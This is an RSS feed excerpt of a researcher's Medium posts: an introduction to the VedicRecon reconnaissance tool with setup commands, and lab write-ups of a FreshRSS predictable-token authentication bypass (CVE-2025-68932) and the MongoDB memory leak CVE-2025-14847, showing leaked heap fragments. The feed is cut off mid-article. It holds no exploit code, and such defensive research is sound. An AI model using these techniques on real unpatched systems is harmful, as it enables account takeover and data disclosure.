            <link>https://medium.com/@shikharsinha34920/beyond-the-noise-why-i-built-vedicrecon-and-why-reconnaissance-needs-to-change-e7d5cb307430?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7d5cb307430</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[generative-ai-tools]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 23:11:49 GMT</pubDate>
            <atom:updated>2026-01-18T23:24:23.684Z</atom:updated>
            <content:encoded><![CDATA[<h4>⚠️All testing described below was performed in a fully isolated lab environment for educational and defensive research purposes only. No payloads, exploit code, or reproduction steps are shared.⚠️</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oeXTTIqAfcG-7GXT56un6Q.png" /></figure><p>When I first started learning security, I thought reconnaissance was simple.</p><p>You run a scanner, it tells you what’s “vulnerable,” and you move on.<br> That’s what most tutorials show. That’s what most tools encourage.</p><p>But the longer I stayed in this field, the more I realized something uncomfortable:</p><p><strong>Most reconnaissance tools don’t give you intelligence — they give you noise.</strong></p><h3>The Reality Newcomers Don’t See</h3><p>If you’re new to cybersecurity, especially penetration testing, you’re usually introduced to tools like Nmap, Burp, Nikto, or vulnerability scanners.</p><p>They’re powerful tools. But they come with a hidden problem.</p><p>You press a button, wait, and get:</p><ul><li>Hundreds of findings</li><li>Long vulnerability lists</li><li>“Critical” labels everywhere</li><li>Very little explanation of <em>what actually matters</em></li></ul><p>As a beginner, this feels productive.<br>As a professional, it becomes exhausting.</p><p>Because here’s the truth:</p><blockquote><strong><em>Modern infrastructure is built to mislead you</em></strong></blockquote><p>Firewalls drop packets.<br>Load balancers hide backend services.<br>WAFs intentionally distort responses.</p><p>And most scanners respond by <strong>guessing</strong>.</p><h3>The Confidence Problem in Security Tools</h3><p>Most tools behave like this:</p><ul><li>If they see something unusual → they assume a vulnerability</li><li>If a port looks closed → they assume nothing exists</li><li>If a banner is strange → they map it to a CVE</li></ul><p>This creates what I call a <strong>confidence gap</strong>.</p><p>The tool sounds confident.<br>But the environment is deliberately uncertain.</p><p>That gap is where false positives live.<br>That’s where bad reports come from.<br>That’s where beginners get confused and professionals lose trust.</p><h3>Why I Built VedicRecon</h3><p>I didn’t want another scanner.</p><p>I wanted something that answered a much simpler — but much harder — question:</p><blockquote><strong><em>“What can we actually know about this system from the outside?</em></strong></blockquote><p>That question became the foundation of <strong>VedicRecon</strong>.</p><p>VedicRecon is not about finding everything.<br>It’s about <strong>not lying to you</strong>.</p><h3>A Simple Idea: Respect the Limits of Knowledge</h3><p>VedicRecon is built around one rule:</p><blockquote><strong><em>If something cannot be externally verified, it must not be asserted.</em></strong></blockquote><p>That might sound obvious.<br>In practice, it’s revolutionary.</p><p>Instead of pretending uncertainty doesn’t exist, VedicRecon <strong>documents it</strong>.</p><p>Instead of guessing what’s behind a defense, it says:</p><ul><li>“This appears intentionally abstracted”</li><li>“This service is present, but attribution is obscured”</li><li>“This exposure exists, but confidence is limited”</li></ul><p>For new learners like me, this is huge.</p><p>It teaches you how <strong>real attackers think</strong> — cautiously, strategically, and based on evidence.</p><h3>So What Does VedicRecon Actually Do?</h3><p>Let’s keep this simple.</p><p>VedicRecon sits <strong>between raw scanning tools and human judgment</strong>.</p><p>It:</p><ul><li>Uses trusted tools (like Nmap and ffuf) to gather data</li><li>Organizes everything into a single, clean registry</li><li>Applies logic to understand <em>patterns</em>, not just ports</li><li>Scores exposure <strong>without AI</strong></li><li>Produces a clear, human-readable report</li></ul><p>What it does <strong>not</strong> do:</p><ul><li>It doesn’t exploit anything</li><li>It doesn’t auto-map CVEs</li><li>It doesn’t claim “critical” findings for drama</li></ul><p>This makes it safe, honest, and useful.</p><h3>“Why Does It Use AI at All?”</h3><p>This is a fair question — and an important one.</p><p>AI is <strong>not</strong> good at discovery.<br>AI is <strong>not</strong> good at uncertainty.<br>AI is <strong>not</strong> good at knowing when it doesn’t know.</p><p>So VedicRecon doesn’t use AI for those things.</p><p>AI is used <strong>only at the very end</strong>, and only for one purpose:</p><blockquote><strong><em>To explain verified facts clearly, like a senior human would.</em></strong></blockquote><p>Think of AI here as a technical writer, not an analyst.</p><p>It never:</p><ul><li>Sees raw packets</li><li>Infers vulnerabilities</li><li>Assigns risk</li><li>Makes technical claims</li></ul><p>It simply takes clean, verified observations and turns them into a report a human can actually read.</p><h3>Why Scrubbing Exists (and Why It Matters)</h3><p>Before and after AI is involved, VedicRecon applies strict <strong>privacy and knowledge boundaries</strong>.</p><p>This means:</p><ul><li>Sensitive identifiers are removed</li><li>Ambiguous signals are not upgraded into claims</li><li>Anything unverifiable is labeled clearly or excluded</li></ul><p>Why does this matter to you?</p><p>Because reports get shared.</p><p>With clients.<br>With managers.<br>With legal teams.</p><p>A report that overstates confidence isn’t just wrong — it’s dangerous.</p><p>VedicRecon is designed so you can share its output <strong>without fear</strong>.</p><h3>Cost Matters Too (Especially for Learners)</h3><p>Another quiet problem with modern “AI security tools” is cost.</p><p>Some tools:</p><ul><li>Call AI for every host</li><li>Call AI for every port</li><li>Scale cost with scan size</li></ul><p>VedicRecon doesn’t.</p><p>AI is invoked <strong>once per run</strong>, at the end, with a small, bounded input.</p><p>This means:</p><ul><li>Costs stay predictable</li><li>You can run it repeatedly</li><li>You don’t get surprised by token bills</li></ul><p>For students and independent researchers, this matters a lot.</p><h3>How Does This Actually Help a User?</h3><p>Let’s make this concrete.</p><h3>If You’re New to Security</h3><p>VedicRecon teaches you:</p><ul><li>How to think in terms of <strong>attack surface</strong>, not tools</li><li>Why uncertainty matters</li><li>How defenses change what you see from the outside</li></ul><p>It helps you learn <em>how to reason</em>, not just <em>what to run</em>.</p><h3>If You’re a Penetration Tester</h3><p>VedicRecon helps you decide:</p><ul><li>Where to spend your manual effort</li><li>What’s likely real vs noise</li><li>What deserves deeper testing</li></ul><p>It saves time by reducing false leads.</p><h3>What VedicRecon Is Not Trying to Be</h3><p>It’s not a “hack button.”<br>It’s not an exploit framework.<br>It’s not a vulnerability farm.</p><p>And that’s intentional.</p><p>VedicRecon is about <strong>thinking clearly under uncertainty</strong>.</p><h3>How to Run VedicRecon (Beginner-Friendly)</h3><p>You don’t need to be an expert to try VedicRecon.<br>You <em>do</em> need a Linux environment.</p><h3>What You’ll Need</h3><ul><li>Kali Linux or Ubuntu (20.04+) or Arch (I don’t personally recommend it) or Windows (it’s supported but you might face some instability)</li><li>Python 3.10 or newer</li><li>Go installed</li><li>Nmap and ffuf available</li></ul><p>If you’re on Kali, most of this is already installed.</p><h3>Step 1: Download the Project</h3><p>Open a terminal and run:</p><pre>git clone https://github.com/Shikhar0708/VedicRecon-Framework.git<br>cd VedicRecon-Framework</pre><p>This pulls the framework to your machine.</p><h3>Step 2: Build the Recon Engine</h3><p>VedicRecon uses a small Go binary for fast, reliable discovery.</p><pre>cd core<br>go mod init /vedicrecon/core<br>go mod tidy<br>go build -o ../bin/vr_core_linux .<br>cd ..</pre><p>You only need to do this once.</p><h3>Step 3: Set Up the Python Environment</h3><p>This keeps dependencies clean and isolated.</p><pre>python3 -m venv vedic-framework<br>source vedic-framework/bin/activate<br>pip install -r requirements.txt</pre><h3>Step 4: Launch VedicRecon</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QVM2nTykMqNjaFst6aHLxQ.png" /><figcaption>License Acceptance</figcaption></figure><p>Because it performs raw network discovery, it must be run with elevated privileges.</p><pre>sudo -E vedic-framework/bin/python main.py</pre><p>On first run, you’ll be asked to accept an operational boundary notice.</p><h3>Step 5: Add a Target</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bl74H_GSjdsWfNIlMQ8PnA.png" /><figcaption>Run-sample</figcaption></figure><p>From the menu, you can add:</p><ul><li>A single IP</li><li>A CIDR range</li><li>A file containing targets</li></ul><p>This defines <em>what</em> you’re analyzing — nothing happens without explicit input.</p><h3>Step 6: Choose How Quiet You Want to Be</h3><p>You can:</p><ul><li>Scan the full host (default), or</li><li>Analyze a <strong>single port only</strong> if the environment is sensitive</li></ul><p>This makes VedicRecon usable even in restricted or cautious scenarios.</p><h3>Step 7: Review the Report</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_3CMVh8zw4qAmOz7lSGaIw.png" /><figcaption>Markdown report</figcaption></figure><p>Once the run completes, you’ll find a Markdown report in:</p><pre>reports/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LyUbbiiiqkUd7jVOn0h9cA.png" /><figcaption>This is how it looks-when viewed</figcaption></figure><p>The report explains:</p><ul><li>What is externally visible</li><li>Where defenses are likely in place</li><li>Where uncertainty exists</li><li>What an attacker might logically try next</li></ul><p>It’s designed to be read — not skimmed.</p><h3>How Does This Actually Help a User?</h3><h3>If You’re New to Security like me</h3><p>VedicRecon helps you learn:</p><ul><li>How to reason about attack surfaces</li><li>Why uncertainty matters</li><li>Why “nothing found” doesn’t mean “secure”</li></ul><p>It teaches <em>thinking</em>, not just tooling.</p><h3>If You’re a Penetration Tester</h3><p>It helps you decide:</p><ul><li>Where to spend manual effort</li><li>What’s likely real vs noise</li></ul><p>Less guessing. More focus.</p><h3>If You’re a Security Engineer or Consultant</h3><p>It gives you:</p><ul><li>Executive-safe reports</li><li>Architecture-level insight</li><li>Defensible, advisory-only assessments</li></ul><h3>Final Thoughts</h3><blockquote>“Security doesn’t need more tools that shout.<br>It needs tools that <strong>think</strong>.”</blockquote><p>VedicRecon was built for people who care about:</p><ul><li>Accuracy over drama</li><li>Discipline over speed</li><li>Understanding over automation</li></ul><p>If you’re new to this field like me, it can help you learn how professionals actually reason.</p><p>If you’re experienced, it might remind you why that discipline matters.</p><p>Sometimes, the most powerful thing in security isn’t finding more — <br>it’s knowing exactly what you <em>don’t</em> know.</p><h3>About me</h3><p>I’m an aspiring penetration tester and cybersecurity researcher with a background in IoT and software development. I enjoy exploring systems from the inside out — understanding how they behave under real-world conditions and identifying where assumptions break.</p><p>Most of my learning comes from hands-on practice through platforms like VulnHub, along with experiments in my own isolated home lab. Rather than copying commands, I focus on understanding <em>why</em> an issue exists and how different components interact, which is why I document my findings to help others improve their testing methodology.</p><p>I also enjoy building small utilities and automation tools to streamline reconnaissance and enumeration. One such project is <strong>VedicRecon</strong>, a Python-based recon tool that I use regularly during labs and practical testing to keep enumeration structured and repeatable.</p><p>If you’d like to follow my learning journey or explore my work, you can find my tools and write-ups below:</p><ul><li><strong>VedicRecon (GitHub):</strong> <a href="https://github.com/Shikhar0708/VedicRecon-Framework.git">https://github.com/Shikhar0708/VedicRecon-Framework</a></li><li><strong>Security Write-ups &amp; Walkthroughs (Medium):</strong> <a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7d5cb307430" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Down a Broken Authentication Design in FreshRSS]]></title>
            <link>https://medium.com/@shikharsinha34920/breaking-down-a-broken-authentication-design-in-freshrss-214e4bd39ed4?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/214e4bd39ed4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Thu, 08 Jan 2026 16:43:32 GMT</pubDate>
            <atom:updated>2026-01-08T16:52:08.615Z</atom:updated>
            <content:encoded><![CDATA[<h3>⚠️[CVE-2025–68932]⚠️</h3><h3>All testing described below was performed in a fully isolated lab environment for educational and defensive research purposes only. No payloads, exploit code, or reproduction steps are shared.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*80AE2_kpUQnlt08R22cN1g.png" /></figure><h3>LAB ENVIRONMENT</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cU2ojKZHyKcZe0-CbZ7WHA.png" /><figcaption>docker-container</figcaption></figure><h4>Victim Side:</h4><ul><li>Ubuntu server 20.04</li><li>Docker</li><li>FreshRSS — v1.21.0</li></ul><h4>Attacker Side:</h4><p>Kali linux — 2025.4</p><h3>The “Refresh” to Admin: An Immediate Hijack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KzQq8gOQoiA_iTJQCyvo0Q.png" /><figcaption>FreshRSS login page</figcaption></figure><p>Imagine navigating to a web application, modifying a single cookie value in your browser, and pressing refresh.</p><p>No username.<br>No password.<br>No second factor.</p><p>Suddenly, you’re staring at the administrative dashboard — private feeds, system configuration, full control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sgGxoFsarGBwDtoSxq3o0A.png" /><figcaption>Cookie as legitimate user</figcaption></figure><p>During my research into <strong>CVE-2025–68932</strong>, this was not a hypothetical scenario. It was the direct result of how FreshRSS treats its persistent authentication cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UEQpLJ5gRWK4V6qlqokjFg.png" /><figcaption>Private window- FreshRSS Login</figcaption></figure><p>The FreshRSS_login cookie functions as a <strong>bearer token</strong>. Possession of this token alone is sufficient to authenticate as the associated user. Because the token is long-lived and not bound to a specific device, session, or network context, it becomes highly susceptible to <strong>session replay and token reconstruction</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHGNR0oWh5TTTs0bj2cN2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ymlTuUQaYIbADXW4KN-2Pw.png" /><figcaption>cookie added in the private window session</figcaption></figure><p>Once the token is accepted, the authentication gate simply swings open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZKz4dlmB4amUTyQQUGFpQ.png" /><figcaption>logged in as HackerBoi- account created for validation</figcaption></figure><h3>Affected Versions</h3><blockquote><strong><em>Affected Component:</em></strong><em> Persistent authentication (“remember me”) functionality<br> </em><strong><em>Affected Versions:</em></strong></blockquote><ul><li>FreshRSS versions <strong>prior to the fix for CVE-2025–68932</strong></li><li>Confirmed vulnerable in <strong>FreshRSS 1.21.x</strong> (tested locally)</li><li>According to nist : Vulnerable upto 1.28.0 (excluding 1.28.0)</li></ul><p>Reference : <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-68932">https://nvd.nist.gov/vuln/detail/CVE-2025-68932</a></p><blockquote><em>The vulnerability exists in versions where the persistent authentication token (</em><em>FreshRSS_login) is generated using a deterministic construction based on a static application salt, user identifier, and time-dependent values derived from </em><em>uniqid() and </em><em>mt_rand().</em></blockquote><h3>The Root Cause: Where Things Go Wrong</h3><p>At first glance, this issue may appear to be an example of “weak cryptography.” In reality, the deeper failure lies in <strong>how authentication trust is designed</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*noc6_II-SLkHgDZXpsGeng.png" /><figcaption>token-code snippet</figcaption></figure><p>FreshRSS generates its persistent login token using a deterministic construction equivalent to:</p><pre>Token = sha1(static_salt + username + time-dependent values)</pre><p>From a security perspective, this is immediately concerning. A primary authentication credential is derived almost entirely from <strong>predictable or non-secret inputs</strong>:</p><ul><li><strong>A static application salt</strong> stored in configuration</li><li><strong>The username</strong>, which is often public or enumerable</li><li><strong>Time-based values</strong>, derived from the server clock</li></ul><p>The resulting hash is then treated as a long-lived identity credential.</p><h3>The uniqid() Fallacy</h3><p>The critical weakness in this design is the reliance on PHP’s uniqid() function for entropy.</p><p>uniqid(prefix, true) does not generate cryptographically secure randomness. Instead, it produces values derived from the current system time with microsecond precision. While this may be sufficient for generating database identifiers, it is fundamentally unsafe for authentication tokens.</p><p>Because the server’s current time can be inferred via the standard HTTP Date header, the unpredictability of the token collapses dramatically. What should be cryptographically infeasible becomes a <strong>narrow temporal search space</strong>.</p><p>This is not randomness — it is <strong>determinism disguised as entropy</strong>.</p><h3>Validating the Design Flaw</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*hfsyrtRTixx82B66KmOpOg.png" /><figcaption>Controlled validation confirming that a token generated using the same deterministic construction is accepted by the application. Output redacted</figcaption></figure><p>To validate the CVE’s claims, the token construction logic was re-implemented in a controlled environment and tested against a local FreshRSS instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*lO0HdPUqASrPo1WtMxQceQ.png" /><figcaption>Server response after accepting a persistent authentication token. The token is consumed and rotated, but authentication has already succeeded</figcaption></figure><p>Even though the server sends a command to delete the cookie, the 200 OK status proves the bypass worked. The server &quot;consumed&quot; the token to log us in, and then cleared it—a common behavior in session rotation—but the authentication gate had already been breached.</p><p>The objective was not to automate attacks, but to confirm whether the authentication model could be subverted when its assumptions were understood.</p><p>The results confirmed the issue is not theoretical. The authentication system places complete trust in a token whose security depends on predictable time-based values and a static secret. Once those assumptions are broken, authentication collapses entirely — without interacting with passwords or bypassing cryptographic password storage.</p><h3>Why This Is Broken Authentication?</h3><p>It’s important to be precise here.</p><p>This vulnerability is <strong>not</strong> about breaking bcrypt, cracking passwords, or reversing hashes. Password storage remains intact.</p><p>The failure lies in <strong>credential lifecycle management</strong>.</p><ul><li>A single token fully represents user identity</li><li>The token is long-lived</li><li>It is not bound to a device or session</li><li>Possession alone grants access</li></ul><p>This aligns directly with <strong>Broken Authentication</strong>, where improper handling of authentication credentials allows account takeover without credential compromise.</p><h3>Mitigation</h3><p>The most effective way to remediate this vulnerability is to upgrade the FreshRSS instance to <strong>version 1.28.0 or higher</strong>.</p><p>In this release, the development team overhauled the FormAuth model to eliminate the reliance on uniqid() and time-based entropy. By moving to a cryptographically secure generation method, the &quot;predictability&quot; window is closed, making the token reconstruction attack mathematically infeasible.</p><h3>Final Checklist for Administrators</h3><p>If you are managing a FreshRSS instance:</p><ol><li><strong>Check Version:</strong> Ensure you are running at least <strong>v1.28.0</strong>.</li><li><strong>Clear Sessions:</strong> If you suspect a breach or a salt leak, manually clear the /data/tokens/ directory. This forces all &quot;Remember Me&quot; sessions to re-authenticate using the new, secure logic.</li><li><strong>Rotate Salt:</strong> While not strictly required after the patch, rotating the salt in config.php provides an additional layer of &quot;defense in depth.&quot;</li></ol><h3>Summary of the Research (TL;DR)</h3><ul><li><strong>Vulnerability:</strong> CVE-2025–68932</li><li><strong>Impact:</strong> Admin Session Hijacking / Authentication Bypass</li><li><strong>Root Cause:</strong> Predictable time-based token generation via uniqid().</li><li><strong>Status:</strong> <strong>Fixed in v1.28.0</strong>.</li></ul><h3>About me</h3><p>I’m an aspiring penetration tester and cybersecurity researcher with a background in IoT and software development. I enjoy exploring systems from the inside out — understanding how they behave under real-world conditions and identifying where assumptions break.</p><p>Most of my learning comes from hands-on practice through platforms like VulnHub, along with experiments in my own isolated home lab. Rather than copying commands, I focus on understanding <em>why</em> an issue exists and how different components interact, which is why I document my findings to help others improve their testing methodology.</p><p>I also enjoy building small utilities and automation tools to streamline reconnaissance and enumeration. One such project is <strong>VedicRecon</strong>, a Python-based recon tool that I use regularly during labs and practical testing to keep enumeration structured and repeatable.</p><p>If you’d like to follow my learning journey or explore my work, you can find my tools and write-ups below:</p><ul><li><strong>VedicRecon (GitHub):</strong> <a href="https://github.com/Shikhar0708/VedicRecon">https://github.com/Shikhar0708/VedicRecon</a></li><li><strong>Security Write-ups &amp; Walkthroughs (Medium):</strong> <a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=214e4bd39ed4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MongoBleed : The Tale of MongDB error]]></title>
            <link>https://medium.com/@shikharsinha34920/mongobleed-the-tale-of-mongdb-error-595a39095dc6?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/595a39095dc6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity-research]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 21:12:53 GMT</pubDate>
            <atom:updated>2026-01-31T13:38:41.547Z</atom:updated>
            <content:encoded><![CDATA[<h3>MongoBleed : The Tale of MongoDB Memory Leak Terror</h3><p><strong>[⚠️CVE-2025–14847⚠️]</strong></p><p><strong>All testing described below was performed in a fully isolated lab environment for educational and defensive research purposes only. No payloads, exploit code, or reproduction steps are shared.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGbtXt0RIp-apBLUY2qTNA.png" /></figure><h3>Pre-Authentication Impact</h3><p><strong>MongoBleed (CVE-2025–14847) is a <em>pre-authentication</em> vulnerability.</strong></p><blockquote><em>The memory disclosure occurs </em><strong><em>before any authentication or authorization checks are enforced</em></strong><em>, meaning an unauthenticated remote client can trigger the leak simply by interacting with the MongoDB wire protocol.</em></blockquote><p>No valid credentials are required.<br> No user context is needed.<br> No database access is granted — <strong>yet memory is still disclosed</strong>.</p><h3>Affected Versions</h3><p>Based on consolidated vendor advisories and validated through hands-on memory disclosure analysis, the following MongoDB versions are affected:</p><ul><li><strong>8.2.x &lt; 8.2.3</strong></li><li><strong>8.0.x &lt; 8.0.17</strong></li><li><strong>7.0.x &lt; 7.0.28</strong></li><li><strong>6.0.x &lt; 6.0.27</strong></li><li><strong>5.0.x &lt; 5.0.32</strong></li><li><strong>4.4.x &lt; 4.4.30</strong></li><li><strong>All 4.2.x versions</strong></li><li><strong>All 4.0.x versions</strong></li><li><strong>All 3.6.x versions</strong></li></ul><p><em>This issue is tracked as </em><strong><em>CVE-2025–14847</em></strong><em> in the National Vulnerability Database (NVD):</em><br> <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-14847?utm_source=chatgpt.com"><strong>https://nvd.nist.gov/vuln/detail/CVE-2025-14847</strong></a></p><h3>Storage Engine Context</h3><p>All affected versions use <strong>WiredTiger</strong> as the default storage engine.<br> The observed leakage originates from <strong>internal cache and history store memory</strong>, not from user-controlled collections alone.</p><h3>Important Clarification on Reproducibility</h3><p>While the affected version ranges are deterministic, <strong>the leaked memory offsets are not</strong>.</p><p>During testing:</p><ul><li>Offsets <strong>shift across executions</strong></li><li>Identical payloads produce <strong>different fragments</strong></li></ul><p>Leakage content depends on:</p><ul><li>Runtime memory state</li><li>Cache pressure</li><li>Checkpoint timing</li><li>Internal WiredTiger activity</li></ul><p>This behavior is <strong>expected</strong> for memory disclosure vulnerabilities and does <strong>not</strong> reduce severity.</p><blockquote><em>The lack of a fixed offset does </em><strong><em>not</em></strong><em> mean the issue is probabilistic or unreliable — it means the vulnerability operates on </em><strong><em>live memory</em></strong><em>, not static structures.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*krv7-sOVmemcZaNwm2WmSg.png" /><figcaption>memory leak</figcaption></figure><h3>Practical Impact</h3><p>If you are running any of the versions listed above and expose MongoDB to:</p><ul><li>Untrusted networks</li><li>Unauthenticated access</li><li>Or internal multi-tenant workloads</li></ul><p>You should assume <strong>potential memory disclosure</strong> until patched.</p><h3>Artifact 1 — Deterministic Heap Disclosure via WiredTiger Cache Pages</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZgfFR0XwesYIEDyf6lWH8g.png" /><figcaption>Artifact 1</figcaption></figure><h3>What this artifact shows (no speculation)</h3><p>Artifact 1 is a raw memory dump (interesting_artifact1.bin) extracted from a live MongoDB instance vulnerable to <strong>MongoBleed (CVE-2025-14847)</strong>. The contents are not structured BSON documents, logs, or user-accessible data — instead, they are <strong>uninitialized heap fragments leaked directly from the WiredTiger storage engine</strong>.</p><p>Key observations from the artifact:</p><h3>1. Clear WiredTiger Internal Structures</h3><p>The dump contains <strong>fully readable WiredTiger configuration metadata</strong>, including:</p><ul><li>Cache behavior parameters</li><li>requested with cache fill ratio &lt; 25% key_gap=10 leaf_item_max=0 leaf_key_max=0 leaf_page_max=32KB leaf_value_max=0</li><li>Engine configuration flags:</li><li>prefix_compression=false readonly=false split_pct=90 write_timestamp_usage=none</li></ul><p>This data <strong>should never be externally observable</strong>. Its presence confirms that the leaked memory originates from <strong>internal engine heap pages</strong>, not application-layer buffers.</p><h3>2. Checkpoint Metadata Leakage</h3><p>The artifact exposes <strong>checkpoint state</strong>, including:</p><pre>checkpoint=(WiredTigerCheckpoint.2=(<br>  addr=&quot;018581e4145cf2dd8681e4424107b48781e446e2132f808080e26fc0cfc0&quot;,<br>  order=2,<br>  time=1767029885,<br>  size=8192,<br>  newest_txn=0,<br>  newest_stop_txn=-11<br>))</pre><p>Why this matters:</p><ul><li>Checkpoints represent <strong>persistent on-disk state transitions</strong></li><li>Leaking checkpoint metadata gives attackers <strong>precise insight into engine timing, durability state, and transaction lifecycle</strong></li><li>This is <strong>engine-level information disclosure</strong>, not just random noise</li></ul><h3>3. Process &amp; Runtime Memory Leakage</h3><p>Toward the end of the artifact, we observe:</p><pre>0.0.2.4:42154<br>avg10=0.00 avg60=0.00 avg300=0.00<br>total=9088924</pre><p>This indicates leakage of:</p><ul><li>Internal network state (ephemeral IP:port tuples)</li><li>Runtime performance counters</li><li>Possibly adjacent memory regions used by monitoring or networking subsystems</li></ul><p>This confirms that the leak is <strong>not limited to WiredTiger objects alone</strong>, but can traverse <strong>adjacent heap regions</strong> depending on allocation layout.</p><h3>4. Why This Is Not “Probabilistic”</h3><p>Although MongoBleed is often described as <em>probabilistic</em>, this artifact demonstrates a critical nuance:</p><ul><li>The <strong>exact offsets differ per run</strong></li><li>But the <strong>presence of sensitive data is consistent</strong></li><li>With controlled offset scanning, <strong>meaningful engine data appears reliably</strong></li></ul><p>In other words:</p><blockquote><em>The randomness affects </em>where<em> the data appears — not </em>whether<em> sensitive data is leaked.</em></blockquote><p>This distinction is important for risk assessment and explains the <strong>CVSS 8.7 rating</strong>.</p><h3>5. Security Impact of This Single Artifact</h3><p>From Artifact 1 alone, an attacker gains:</p><ul><li>Internal WiredTiger configuration</li><li>Checkpoint timing and transaction metadata</li><li>Heap layout hints</li><li>Runtime performance and network context</li></ul><p>No authentication bypass, no crash, no exploit chaining required — <strong>just a crafted request path that reads uninitialized memory</strong>.</p><h3>Artifact 2 — Cross-Subsystem Heap Disclosure (Kernel, Cgroups &amp; Container Runtime)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-enZcH4L9WQpKzSB9XZUfg.png" /><figcaption>Artifact 2</figcaption></figure><p>While Artifact 1 demonstrated <strong>engine-internal leakage</strong>, Artifact 2 proves something more severe:</p><blockquote><strong><em>MongoBleed leaks memory far beyond WiredTiger — into OS, container, and kernel-adjacent runtime structures.</em></strong></blockquote><p>This artifact was extracted from interesting_artifact2.bin and represents a <strong>single contiguous leak window</strong> obtained via offset scanning.</p><h3>1. Leakage of Linux Kernel Runtime Metrics</h3><p>Artifact 2 contains <strong>verbatim </strong><strong>/proc-style kernel statistics</strong>, including:</p><pre>cpu0 9498 0 13445 432210 635 0 18483 0 0 0<br>cpu1 1295 0 8437 423017 664 0 38014 0 0 0<br>intr 5085644 32 597 ...<br>ctxt 9405386<br>btime 1767027563<br>processes 239754<br>procs_running 5<br>procs_blocked 0<br>softirq 4620746 ...</pre><p>These values match <strong>Linux kernel accounting structures</strong>, typically exposed only via:</p><ul><li>/proc/stat</li><li>/proc/interrupts</li><li>/proc/softirqs</li></ul><p><strong>Why this matters</strong></p><p>MongoDB should <em>never</em> have direct visibility into kernel accounting memory — yet this data is leaking through <strong>uninitialized heap reuse</strong> inside the database process.</p><p>This confirms:</p><ul><li>The leaked memory is <strong>not scoped to MongoDB allocations</strong></li><li>The heap contains <strong>previously-used buffers originating from OS-facing subsystems</strong></li></ul><h3>2. Container &amp; OverlayFS Internals Exposed</h3><p>The artifact clearly leaks <strong>Docker OverlayFS mount metadata</strong>:</p><pre>overlay rw,<br>lowerdir=/var/lib/docker/overlay2/l/OQS42DNCNR3V7A2CHGBFUA44Z7:...<br>upperdir=/var/lib/docker/overlay2/6bf7d1105cf5c7caf6a91bd89389e86d...<br>workdir=/var/lib/docker/overlay2/6bf7d1105cf5c7caf6a91bd89389e86d/work</pre><p>This data reveals:</p><ul><li>Container filesystem layout</li><li>Overlay layer IDs</li><li>Host filesystem paths</li><li>Mount options and flags</li></ul><p><strong>Impact</strong></p><p>An attacker gains <strong>environment fingerprinting capability</strong>:</p><ul><li>Cloud vs on-prem</li><li>Docker vs bare metal</li><li>OverlayFS layer reuse</li><li>Potential lateral attack surface identification</li></ul><p>This is <strong>environmental intelligence leakage</strong>, not noise.</p><h3>3. Cgroup Hierarchy Disclosure</h3><p>Artifact 2 exposes <strong>full cgroup mount paths</strong>, including:</p><pre>/sys/fs/cgroup/systemd<br>/sys/fs/cgroup/cpu,cpuacct<br>/sys/fs/cgroup/memory<br>/sys/fs/cgroup/pids<br>/sys/fs/cgroup/blkio</pre><p>Along with container-specific identifiers:</p><pre>/docker/3eb80093544d153265035dcfbb90cdc3b91716042b0552b61a430cf81bb1b5aa</pre><p>This confirms leakage of:</p><ul><li>Resource isolation boundaries</li><li>Container IDs</li><li>Host-to-container mapping details</li></ul><h3>4. Why This Artifact Changes the Threat Model</h3><p>At this point, MongoBleed is <strong>no longer just a database memory leak</strong>.</p><p>Artifact 2 proves the leakage in the following 